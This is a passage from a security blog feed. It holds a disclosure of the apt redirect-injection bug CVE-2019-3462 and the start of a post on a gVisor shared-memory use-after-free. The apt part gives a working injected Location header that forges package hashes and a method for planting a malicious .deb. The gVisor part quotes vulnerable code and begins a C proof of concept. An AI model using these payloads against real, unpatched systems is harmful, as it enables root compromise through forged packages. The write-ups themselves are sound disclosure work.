&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pkgAcqMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Redirect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewURI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;103 Redirect&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;URI: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Queue&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Uri&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
             &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;New-URI: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NewURI&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
             &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;Dequeue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;(Note: there are important differences here across different versions of apt. The code above is from 1.4.y, which is what recent Debian uses. Some recent Ubuntu versions use 1.6.y, which doesn’t just blindly append the URI here, however there is still an injection vulnerability into the subsequent &lt;code class=&quot;highlighter-rouge&quot;&gt;600 URI Acquire&lt;/code&gt; requests made to the HTTP fetcher process. I haven’t checked other versions.)&lt;/p&gt;

&lt;p&gt;So if the HTTP server sent &lt;code class=&quot;highlighter-rouge&quot;&gt;Location: /new-uri%0AFoo%3A%20Bar&lt;/code&gt;, the HTTP fetcher process would reply with the following:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Or, if the HTTP server sent:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;then the HTTP fetcher process would reply with this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The parent process will trust the hashes returned in the injected &lt;code class=&quot;highlighter-rouge&quot;&gt;201 URI Done&lt;/code&gt; response, and compare them with the values from the signed package manifest. Since the attacker controls the reported hashes, they can use this vulnerability to convincingly forge any package.&lt;/p&gt;

&lt;h2 id=&quot;planting-the-malicious-package&quot;&gt;Planting the malicious package&lt;/h2&gt;

&lt;p&gt;In my proof of concept, because I chose to inject the &lt;code class=&quot;highlighter-rouge&quot;&gt;201 URI Done&lt;/code&gt; response right away, I had to deal with the fact that no package had actually been downloaded yet. I needed a way to get my malicious &lt;code class=&quot;highlighter-rouge&quot;&gt;.deb&lt;/code&gt; onto the system for use in the &lt;code class=&quot;highlighter-rouge&quot;&gt;Filename&lt;/code&gt; parameter.&lt;/p&gt;

&lt;p&gt;To do this, I took advantage of the fact that the &lt;code class=&quot;highlighter-rouge&quot;&gt;Release.gpg&lt;/code&gt; file pulled during &lt;code class=&quot;highlighter-rouge&quot;&gt;apt update&lt;/code&gt; is both malleable and installed into a predictable location. Specifically, &lt;code class=&quot;highlighter-rouge&quot;&gt;Release.gpg&lt;/code&gt; contains ASCII-armored PGP signatures that look like:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;But apt’s signature validation process is totally fine with the presence of other garbage in that file, as long as it doesn’t touch the signatures. So I intercepted the &lt;code class=&quot;highlighter-rouge&quot;&gt;Release.gpg&lt;/code&gt; response and prepended it with my malicious deb:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;oops.deb contents&amp;gt;
-----BEGIN PGP SIGNATURE-----
...
-----END PGP SIGNATURE-----
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Then, I set the &lt;code class=&quot;highlighter-rouge&quot;&gt;Filename&lt;/code&gt; parameter in the &lt;code class=&quot;highlighter-rouge&quot;&gt;201 URI Done&lt;/code&gt; response to point to:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;the-httphttps-debate&quot;&gt;The http/https debate&lt;/h2&gt;
&lt;p&gt;By default, Debian and Ubuntu both use plain http repositories out of the box (Debian lets you pick what mirror you want during installation, but doesn’t actually ship with support for https repositories – you have to install &lt;code class=&quot;highlighter-rouge&quot;&gt;apt-transport-https&lt;/code&gt; first).&lt;/p&gt;

&lt;p&gt;If packages manifests are signed, why bother using https? After all, the privacy gains are minimal, because the sizes of packages are well-known. And using https makes it more difficult to cache content.&lt;/p&gt;

&lt;p&gt;People sometimes get really passionate about this. There are &lt;a href=&quot;https://whydoesaptnotusehttps.com/&quot;&gt;single purpose websites&lt;/a&gt; dedicated to explaining why using https is pointless in the context of apt.&lt;/p&gt;

&lt;p&gt;They’re good points, but bugs like the one I wrote about in this post exist. And this bug isn’t even special – &lt;a href=&quot;https://www.debian.org/security/2016/dsa-3733&quot;&gt;here’s a different one&lt;/a&gt; that &lt;a href=&quot;https://twitter.com/tehjh/&quot;&gt;Jann Horn&lt;/a&gt; found in 2016 with the same impact. Yes, a malicious mirror could still exploit a bug like this, even with https. But I suspect that a network adversary serving an exploit is far more likely than &lt;code class=&quot;highlighter-rouge&quot;&gt;deb.debian.org&lt;/code&gt; serving one or their TLS certificate getting compromised.&lt;/p&gt;

&lt;p&gt;(This is all assuming that &lt;code class=&quot;highlighter-rouge&quot;&gt;apt-transport-https&lt;/code&gt; is itself not catastrophically broken. I haven’t audited it, but it looks like a relatively thin wrapper around libcurl.)&lt;/p&gt;

&lt;p&gt;Supporting http is fine. I just think it’s worth making https repositories the default – the safer default – and allowing users to downgrade their security at a later time if they choose to do so. I wouldn’t have been able to exploit the &lt;code class=&quot;highlighter-rouge&quot;&gt;Dockerfile&lt;/code&gt; at the top of this post if the default package servers had been using https.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Thank you to the apt maintainers for patching this vulnerability quickly, and to the Debian security team for coordinating the disclosure. This bug has been assigned CVE-2019-3462.&lt;/p&gt;</content><author><name>Max Justicz</name></author><summary type="html">tl;dr I found a vulnerability in apt that allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code as root on a machine installing any package. The bug has been fixed in the latest versions of apt. If you’re worried about being exploited during the update process, you can protect yourself by disabling HTTP redirects while you update. To do that, run:</summary></entry><entry><title type="html">Privilege Escalation in gVisor, Google’s Container Sandbox</title><link href="/security/2018/11/14/gvisor-lpe.html" rel="alternate" type="text/html" title="Privilege Escalation in gVisor, Google's Container Sandbox" /><published>2018-11-14T00:00:00-08:00</published><updated>2018-11-14T00:00:00-08:00</updated><id>/security/2018/11/14/gvisor-lpe</id><content type="html" xml:base="/security/2018/11/14/gvisor-lpe.html">&lt;p&gt;tl;dr &lt;a href=&quot;https://github.com/google/gvisor&quot;&gt;gVisor&lt;/a&gt; is Google’s sandboxing technology for containers running less-than-fully-trusted code. It’s a Golang reimplementation of the Linux kernel that runs in userspace, intercepting container syscalls and limiting what touches the host kernel directly. I found an issue with gVisor’s shared memory implementation that allowed unprivileged processes in the sandbox to read and write the memory of other, more highly privileged processes in the sandbox, including those running as root.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[edit: Please note that this is not a sandbox escape; gaining root within gVisor does not give you access to the host machine. I encourage you to check out the &lt;a href=&quot;https://github.com/google/gvisor&quot;&gt;gVisor README&lt;/a&gt; for more details!]&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here’s a video of me running a proof-of-concept that reads and overwrites some memory in an unrelated process (code at the end of the post):&lt;/p&gt;

&lt;video width=&quot;100%&quot; autoplay=&quot;&quot; controls=&quot;&quot;&gt;
  &lt;source src=&quot;/assets/gvisorpoc.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;h3 id=&quot;mapped-after-free&quot;&gt;Mapped-after-free&lt;/h3&gt;

&lt;p&gt;gVisor uses reference counting for various parts of its internal memory management, and the bug allows us to lower the reference count of the “platform” memory backing a &lt;a href=&quot;https://users.cs.cf.ac.uk/Dave.Marshall/C/node27.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;shmget&lt;/code&gt; shared memory region,&lt;/a&gt; even when we still have a mapping to it in our process’s virtual address space. The backing memory is then reclaimed and handed to another (potentially more privileged) process, where it can be used for something else. The bug is basically a use-after-free.&lt;/p&gt;

&lt;p&gt;The problem stems from this code in &lt;code class=&quot;highlighter-rouge&quot;&gt;sys_shm.go&lt;/code&gt;, which implements the &lt;code class=&quot;highlighter-rouge&quot;&gt;shmctl&lt;/code&gt; syscall:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Shmctl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kernel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Task&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SyscallArguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uintptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kernel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SyscallControl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Pointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;linux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IPC_RMID&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;segment&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MarkDestroyed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;segment.MarkDestroyed()&lt;/code&gt; unconditionally decreases the reference count of the shared memory object, which eventually decreases the reference count of the platform memory range itself in &lt;code class=&quot;highlighter-rouge&quot;&gt;shm.go&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Shm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destroy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;registry&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Memory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Shm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MarkDestroyed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mu&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;defer&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mu&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;// Prevent the segment from being found in the registry.&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;linux&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IPC_PRIVATE&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pendingDestruction&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; &lt;/span&gt;&lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;// destroy() above will get called when the reference count goes negative&lt;/span&gt;&lt;span class=&quot;x&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DecRef&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;x&quot;&gt; 
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So if the platform memory region in the &lt;code class=&quot;highlighter-rouge&quot;&gt;s.fr&lt;/code&gt; range has a reference count of &lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt;, and we call &lt;code class=&quot;highlighter-rouge&quot;&gt;shmctl(shmid, IPC_RMID, NULL)&lt;/code&gt; until we trigger the destruction of the &lt;code class=&quot;highlighter-rouge&quot;&gt;Shm&lt;/code&gt; object, that backing memory can be reclaimed by the kernel for use by other processes.&lt;/p&gt;

&lt;p&gt;The platform memory’s reference count is initialized to &lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt; when we initially create our shared memory object with &lt;code class=&quot;highlighter-rouge&quot;&gt;shmget()&lt;/code&gt;, but it gets incremented to &lt;code class=&quot;highlighter-rouge&quot;&gt;2&lt;/code&gt; when the memory is accessed and page-faulted in. So if you read or write to the mapped shared memory region before triggering the &lt;code class=&quot;highlighter-rouge&quot;&gt;DecRef()&lt;/code&gt; bug, things become harder to exploit.&lt;/p&gt;

&lt;p&gt;Here’s the proof-of-concept I put together for the video above, with comments explaining how it works:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;cp&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys/shm.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define SHMKEY 1234567
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define SHMSIZE ((size_t) 4096)
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// Fork off a process that allocates a bunch of memory containing the string
&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// 'OOPS', and that will exit if it ever finds an 'A' byte in that string
&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// (indicating that the memory has been overwritten by another process)
&lt;/span&gt;  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fork&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
